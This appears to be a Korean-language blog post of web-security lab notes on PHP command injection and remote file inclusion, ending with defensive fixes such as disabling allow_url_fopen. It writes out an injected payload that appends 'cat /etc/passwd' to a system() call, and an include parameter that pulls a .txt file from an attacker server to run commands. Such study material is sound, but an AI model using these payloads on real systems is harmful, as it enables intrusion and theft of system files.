SQL Injection
html
WAS(PHP)
 
System Command Line Injection
 
 
server

 

 

xp

$_GET['id']
$_POST['id']
$_cookie['id']
$_session['id']
대부분의 파라미터는 언어와 상관없이 위와 같은 방식으로 전달 받는다.
단지 접근하는 방법이 다를 뿐이다.
 
system('$id'); 로 파라미터로 받을 경우 방식에 상관없이 전달 방식에 상관없이 무조건 파라미터를 받게 된다.
 
system("ls" . $option); //ls -l 의 효과

-l+%26%26+cat+/etc/passwd
위와 같은 파라미터를 만들었을 때
ls -l && cat /etc/passwd 의 커맨드가 system()에 파라미터로 들어가게 된다.
여기서 ‘&’를 쓰지 않고 ‘%26’을 사용한 이유는 url에서 &는 파라미터를 나누는 기준이 되기 때문에 파라미터가 총 2개가 되어 버린다.그래서 인코딩 타입으로 바꾸어 사용한 것임

위의 상황은 apache 의 권한으로 실행된다.




두 개의 파일을 만든다.

include는 한 페이지내에 다른 페이지의 내용을 삽입할 때 사용한다.



실습 시나리오
include.php 파라미터를 1개 가진다.
xp에서 CentOS로 파라미터를 날려 cmd 창을 통해 ls명령을 사용하여 공격대상의 cmd 내용을 브라우저에 띄우기.

include=http://192.168.24.129/system.php&cmd=ls


하지만 리눅스에서는 먹히지 않는다.
이유는 리눅스는 php가 무엇인지 알기 때문에 확장자를 바꾸면 실행을 하지 않고 공격할 서버쪽으로 넘어간다.
 
php파일include가 되는 것이 아니다.
확장자 상관없이 include된다.
 

우회 공격 
include=http://192.168.24.129/system.txt&cmd=ls //공격자의 서버IP

공격자 서버



공격자

확장자를 txt로 바꾼 경우 공격자 서버는 php파일이 아니기 때문에 웹에서 실행을 할 수가 없다 그래서 파일자체를 파라미터로 보낸 곳으로 .txt 안의 내용이 그대로 include된다.

include 취약점의 원인은 include $include 이다.
include 할때는 static으로 지정하면 문제가 없다.

다른 서버로부터의 접근을 막는 방법
/etc/php.ini

allow_url_fopen=on -> off 로 바꾸어 주면 url을 통한 데이터 접근을 막게된다.

적용이후

 

'정보보안 > Web' 카테고리의 다른 글

APM기반 웹 보안,.htaccess  (738) 2020.07.22
Upload 취약점, Webshell  (516) 2020.07.15
Directory Listing  (743) 2020.07.15
Mass SQL Injection  (728) 2020.07.15
Stored Procesure,CMD shell  (735) 2020.07.15

+ Recent posts